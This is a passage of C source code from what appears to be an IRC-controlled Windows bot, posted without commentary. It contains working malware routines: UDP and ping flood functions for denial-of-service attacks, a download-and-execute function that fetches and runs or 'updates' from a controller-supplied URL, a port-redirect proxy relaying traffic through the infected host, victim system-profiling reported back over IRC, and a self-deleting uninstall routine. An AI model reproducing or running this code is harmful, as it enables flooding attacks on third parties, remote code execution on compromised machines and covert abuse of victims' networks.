1233 		for (i = 0; i < 11; i++) {
1234 			sendto(usock, ubuff, udp.size-(rand() % 20), 0, (LPSOCKADDR)&ssin, sizeof(ssin));
1235 			Sleep(udp.delay);
1236 		}
1237 		if (udp.port == 0) ssin.sin_port = htons((rand() % 65500) + 1);
1238 	}
1239 	free(ubuff);
1240 	irc_sendf2(udp.sock, "PRIVMSG %s :finished sending packets to %s.\r\n", udp.chan, host);
1241 
1242 	threads[udp.threadnum] = 0;
1243 	threadd[udp.threadnum][0] = '\0';
1244 	return 0;
1245  }
1246  #endif
1247 
1248  #ifndef NO_PING
1249 //  function for sending pings
1250  DWORD WINAPI ping(LPVOID param)
1251  {
1252 	char cmdline[256];
1253 	DWORD exitcode;
1254 	PROCESS_INFORMATION pinfo;
1255 	STARTUPINFO sinfo;
1256 	ps ping;
1257 	int i;
1258 
1259 	ping = *((ps *)param);
1260 	char *host = ping.host;
1261 
1262 	memset(&sinfo, 0, sizeof(STARTUPINFO));
1263 	sinfo.cb = sizeof(sinfo);
1264 	sinfo.wShowWindow = SW_HIDE;
1265 
1266 	memset(cmdline, 0, sizeof(cmdline));
1267 	sprintf(cmdline, "ping.exe -l %d -n %d -w %d %s", ping.size, 20, ping.delay, ping.host); // build our command line
1268 
1269 	// send the pings in groups of 20
1270 	for (i = 0; i < ping.num / 20; i++) {
1271 		CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo);
1272 
1273 		// wait for ping.exe process to finish
1274 		WaitForSingleObject(pinfo.hProcess, -1);
1275 		GetExitCodeProcess(pinfo.hProcess, &exitcode);
1276 		CloseHandle(pinfo.hProcess);
1277 	}
1278 
1279 	irc_sendf2(ping.sock, "PRIVMSG %s :finished sending packets to %s.\r\n", ping.chan, host);
1280 
1281 	threads[ping.threadnum] = 0;
1282 	threadd[ping.threadnum][0] = '\0';
1283 	return 0;
1284  }
1285  #endif
1286 
1287  #ifndef NO_DOWNLOAD
1288 // function for downloading files/updating
1289  DWORD WINAPI webdownload(LPVOID param)
1290  {
1291 	char fbuff[512];
1292 	HANDLE fh, f;
1293 	DWORD r, d, start, total, speed;
1294 	PROCESS_INFORMATION pinfo;
1295 	STARTUPINFO sinfo;
1296 	ds dl;
1297 	dl = *((ds *)param);
1298 	fh = InternetOpenUrl(ih, dl.url, NULL, 0, 0, 0);
1299 	if (fh != NULL) {
1300 
1301 		// open the file
1302 		f = CreateFile(dl.dest, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, 0);
1303 		// make sure that our file handle is valid
1304 		if (f < (HANDLE)1) {
1305 			irc_sendf2(dl.sock, "PRIVMSG %s :couldn't open %s.\r\n", dl.chan, dl.dest);
1306 			threads[dl.threadnum] = 0;
1307 			threadd[dl.threadnum][0] = '\0';
1308 			return 0;
1309 		}
1310 
1311 		total = 1;
1312 		start = GetTickCount();
1313 
1314 		do {
1315 			memset(fbuff, 0, sizeof(fbuff));
1316 			InternetReadFile(fh, fbuff, sizeof(fbuff), &r);
1317 			WriteFile(f, fbuff, r, &d, NULL);
1318 			total = total + r;
1319 			if (dl.update != 1) sprintf(threadd[dl.threadnum], "file download (%s - %dkb transferred)", dl.url, total / 1024);
1320 			 else sprintf(threadd[dl.threadnum], "update (%s - %dkb transferred)", dl.url, total / 1024);
1321 		} while (r > 0);
1322 
1323 		speed = total / (((GetTickCount() - start) / 1000) + 1);
1324 
1325 		CloseHandle(f);
1326 
1327 		//download isn't an update
1328 		if (dl.update != 1) {
1329 			sprintf(tstr, "downloaded %.1f kb to %s @ %.1f kb/sec.", total / 1024.0, dl.dest, speed / 1024.0);
1330 			irc_privmsg(dl.sock, dl.chan, tstr);
1331 
1332 			if (dl.run == 1) {
1333 				ShellExecute(0, "open", dl.dest, NULL, NULL, SW_SHOW);
1334 				irc_sendf2(dl.sock, "PRIVMSG %s :opened %s.\r\n", dl.chan, dl.dest);
1335 			}
1336 
1337 		// download is an update
1338 		} else {
1339 			sprintf(tstr, "downloaded %.1f kb to %s @ %.1f kb/sec. updating...", total / 1024.0, dl.dest, speed / 1024.0);
1340 			irc_privmsg(dl.sock, dl.chan, tstr);
1341 
1342 			memset(&sinfo, 0, sizeof(STARTUPINFO));
1343 			sinfo.cb = sizeof(sinfo);
1344 			sinfo.wShowWindow = SW_HIDE;
1345 			if (CreateProcess(NULL, dl.dest, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo) == TRUE) {
1346 				uninstall();
1347 				WSACleanup();
1348 				exit(0);
1349 			} else {
1350 				irc_privmsg(dl.sock, dl.chan, "update failed: error executing file.");
1351 			}
1352 		}
1353 	} else irc_privmsg(dl.sock, dl.chan, "bad url, or dns error.");
1354 
1355 	InternetCloseHandle(fh);
1356 
1357 	threads[dl.threadnum] = 0;
1358 	threadd[dl.threadnum][0] = '\0';
1359 	return 0;
1360  }
1361  #endif
1362 
1363  #ifndef NO_REDIRECT
1364 // port redirect function
1365  DWORD WINAPI redirect(LPVOID param)
1366  {
1367 	SOCKET rsock, csock;
1368 	SOCKADDR_IN rssin, cssin;
1369 	rs rs2;
1370 	DWORD id;
1371 
1372 	rs2 = *((rs *)param);
1373 	rsock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
1374 	WSAAsyncSelect(rsock, 0, WM_USER + 1, FD_READ);
1375 	memset(&rssin, 0, sizeof(rssin));
1376 	rssin.sin_family = AF_INET;
1377 	rssin.sin_port = htons(rs2.lport);
1378 	bind(rsock, (SOCKADDR *)&rssin, sizeof(rssin));
1379 
1380 	while(1) {
1381 		if (listen(rsock, 10) == SOCKET_ERROR) break;
1382 		csock = accept(rsock, (SOCKADDR *)&cssin, NULL);
1383 		if (csock != INVALID_SOCKET) {
1384 			rs2.csock = csock;
1385 			CreateThread(NULL, 0, &redirectloop, (void *)&rs2, 0, &id);
1386 		}
1387 	}
1388 
1389 	closesocket(csock);
1390 	closesocket(rsock);
1391 
1392 	return 0;
1393  }
1394 
1395 // part of the redirect function, handles sending/recieving for the remote connection.
1396  DWORD WINAPI redirectloop(LPVOID param)
1397  {
1398 	SOCKET sock;
1399 	SOCKET csock;
1400 	char *dest;
1401 	SOCKADDR_IN ssin;
1402 	IN_ADDR iaddr;
1403 	LPHOSTENT hostent;
1404 	int port, err;
1405 	char buff[4096];
1406 	rs rs2;
1407 	rs2 = *((rs *)param);
1408 	csock = rs2.csock;
1409 	dest = rs2.dest;
1410 	port = rs2.port;
1411 	DWORD id;
1412 
1413 	while (1) {
1414 		sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
1415 		memset(&ssin, 0, sizeof(ssin));
1416 		ssin.sin_family = AF_INET;
1417 		ssin.sin_port = htons(port);
1418 		iaddr.s_addr = inet_addr(dest);
1419 		if (iaddr.s_addr == INADDR_NONE) hostent = gethostbyname(dest);
1420 		else hostent = gethostbyaddr((const char *)&iaddr, sizeof(struct in_addr), AF_INET);
1421 		if (hostent == NULL) break;
1422 		ssin.sin_addr = *((LPIN_ADDR)*hostent->h_addr_list);
1423 
1424 		err = connect(sock, (LPSOCKADDR)&ssin, sizeof(SOCKADDR_IN));
1425 		if (err == SOCKET_ERROR) break;
1426 
1427 		rs2.sock = sock;
1428 		CreateThread(NULL, 0, &redirectloop2, (void *)&rs2, 0, &id);
1429 
1430 		while (1) {
1431 			memset(buff, 0, sizeof(buff));
1432 			err = recv(csock, buff, sizeof(buff), 0);
1433 			if (err == 0) {
1434 				break;
1435 			}
1436 			if (err == SOCKET_ERROR) break;
1437 
1438 			err = send(sock, buff, strlen(buff), 0);
1439 			if (err == SOCKET_ERROR) break;
1440 
1441 		}
1442 
1443 		break;
1444 	}
1445 
1446 	closesocket(csock);
1447 	closesocket(sock);
1448 
1449 	return 0;
1450  }
1451 
1452 // part of the redirect function, handles sending/recieving for the local connection.
1453  DWORD WINAPI redirectloop2(LPVOID param)
1454  {
1455 	SOCKET sock;
1456 	SOCKET csock;
1457 	rs rs2;
1458 	int err;
1459 	char buff[4096];
1460 	rs2 = *((rs *)param);
1461 	sock = rs2.sock;
1462 	csock = rs2.csock;
1463 
1464 	while (1) {
1465 		memset(buff, 0, sizeof(buff));
1466 		err = recv(sock, buff, sizeof(buff), 0);
1467 		if (err == 0) {
1468 			break;
1469 		}
1470 		if (err == SOCKET_ERROR) break;
1471 		err = send(csock, buff, strlen(buff), 0);
1472 		if (err == SOCKET_ERROR) break;
1473 	}
1474 
1475 	closesocket(csock);
1476 	return 0;
1477  }
1478  #endif
1479 
1480  #ifndef NO_SYSINFO
1481 // function used for sysinfo
1482  char * sysinfo(char *sinfo, SOCKET sock)
1483  {
1484 	int total;
1485 	DWORD n;
1486 	MEMORYSTATUS memstat;
1487 	OSVERSIONINFO verinfo;
1488 	char ctype[8];
1489 	char cname[128];
1490 
1491 	GlobalMemoryStatus(&memstat); // load memory info into memstat
1492 	verinfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); // required for some strange reason
1493 	GetVersionEx(&verinfo); // load version info into verinfo
1494 	char *os;
1495 	if (verinfo.dwMajorVersion == 4 && verinfo.dwMinorVersion == 0) os = "Windows 95";
1496 	else if (verinfo.dwMajorVersion == 4 && verinfo.dwMinorVersion == 10) os = "Windows 98";
1497 	else if (verinfo.dwMajorVersion == 4 && verinfo.dwMinorVersion == 90) os = "Windows ME";
1498 	else if (verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 0) os = "Windows 2000";
1499 	else if (verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 1) os = "Windows XP";
1500 	else os = "Win??";
1501 	total = GetTickCount() / 1000; // GetTickCount() / 1000 = seconds since os started.
1502 
1503 	memset(cname, 0, sizeof(cname));
1504 	InternetGetConnectedStateEx(&n, cname, sizeof(cname), 0);
1505     if (n & INTERNET_CONNECTION_MODEM == INTERNET_CONNECTION_MODEM) strcpy(ctype, "dial-up");
1506 	 else strcpy(ctype, "LAN");
1507 
1508  	SOCKADDR sa;
1509 	int sas = sizeof(sa);
1510 	memset(&sa, 0, sizeof(sa));
1511 	getsockname(sock, &sa, &sas);
1512 
1513 	sprintf(sinfo, "cpu: %dMHz. ram: %dKB total, %dKB free. os: %s (%d.%d, build %d). uptime: %dd %dh %dm. connection type: %s (%s). IP Address: %d.%d.%d.%d",
1514 		cpuspeed(), memstat.dwTotalPhys / 1024, memstat.dwAvailPhys / 1024,
1515 		os, verinfo.dwMajorVersion, verinfo.dwMinorVersion, verinfo.dwBuildNumber, total / 86400, (total % 86400) / 3600, ((total % 86400) % 3600) / 60,
1516 		ctype, cname, (BYTE)sa.sa_data[2], (BYTE)sa.sa_data[3], (BYTE)sa.sa_data[4], (BYTE)sa.sa_data[5]);
1517 	return sinfo; // return the sysinfo string
1518  }
1519 
1520 // cpu speed function
1521  int cpuspeed(void)
1522  {
1523 	unsigned __int64 startcycle;
1524 	unsigned __int64 speed, num, num2;
1525 
1526 	do {
1527 		startcycle = cyclecount();
1528 		Sleep(1000);
1529 		speed = ((cyclecount()-startcycle)/100000)/10;
1530 	} while (speed > 1000000); // if speed is 1000GHz+, then something probably went wrong so we try again =P
1531 
1532 	// guess 'real' cpu speed by rounding raw cpu speed (something like 601mhz looks kinda tacky)
1533 	num = speed % 100;
1534 	num2 = 100;
1535 	if (num < 80) num2 = 75;
1536 	if (num < 71) num2 = 66;
1537 	if (num < 55) num2 = 50;
1538 	if (num < 38) num2 = 33;
1539 	if (num < 30) num2 = 25;
1540 	if (num < 10) num2 = 0;
1541 	speed = (speed-num)+num2;
1542 
1543 	return speed;
1544  }
1545 
1546 // asm for cpuspeed() (used for counting cpu cycles)
1547  unsigned __int64 cyclecount(void)
1548 {
1549 	#ifdef __LCC__ // if we're compiling with lcc, we need to use special code
1550 		unsigned __int64 count = 0;
1551 
1552 		_asm ("rdtsc\n"
1553 			  "mov %eax,%count\n");
1554 
1555 		return count;
1556 	#else
1557 		_asm {
1558 			_emit 0x0F;
1559 			_emit 0x31;
1560 		}
1561 	#endif
1562 }
1563 #endif
1564 
1565 // function for removing the bot's registry entries and executable
1566  void uninstall(void)
1567  {
1568 	HKEY key;
1569 	HANDLE f;
1570 	DWORD r;
1571 	PROCESS_INFORMATION pinfo;
1572 	STARTUPINFO sinfo;
1573 	char cmdline[256];
1574 	char cfilename[256];
1575 
1576 	// remove our registry entries
1577 	RegCreateKeyEx(HKEY_LOCAL_MACHINE, keyname, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, NULL);
1578 	RegDeleteValue(key, valuename);
1579 	RegCloseKey(key);
1580 
1581 	f = CreateFile("c:\\r.bat", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, 0);
1582 	if (f > (HANDLE)0) {
1583 		// write a batch file to remove our executable once we close
1584 		WriteFile(f, "@echo off\r\n:start\r\nif not exist \"\"%1\"\" goto done\r\ndel /F \"\"%1\"\"\r\ngoto start\r\n:done\r\ndel /F c:\\r.bat\r\n", 101, &r, NULL);
1585 
1586 		memset(&sinfo, 0, sizeof(STARTUPINFO));
1587 		sinfo.cb = sizeof(sinfo);
1588 		sinfo.wShowWindow = SW_HIDE;
1589 
1590 		GetModuleFileName(GetModuleHandle(NULL), cfilename, sizeof(cfilename));
1591 		sprintf(cmdline, "cmd /c c:\\r.bat %s", cfilename);
1592 		// execute the batch file
1593 		if (CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo) == FALSE) {
1594 			// we must be running on win9x, so we need to use 'command' instead of 'cmd'
1595 			sprintf(cmdline, "command /c c:\\r.bat %s", cfilename);
1596 			CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo);
1597 		}
1598 	}
1599  }


Comments

blog comments powered by Disqus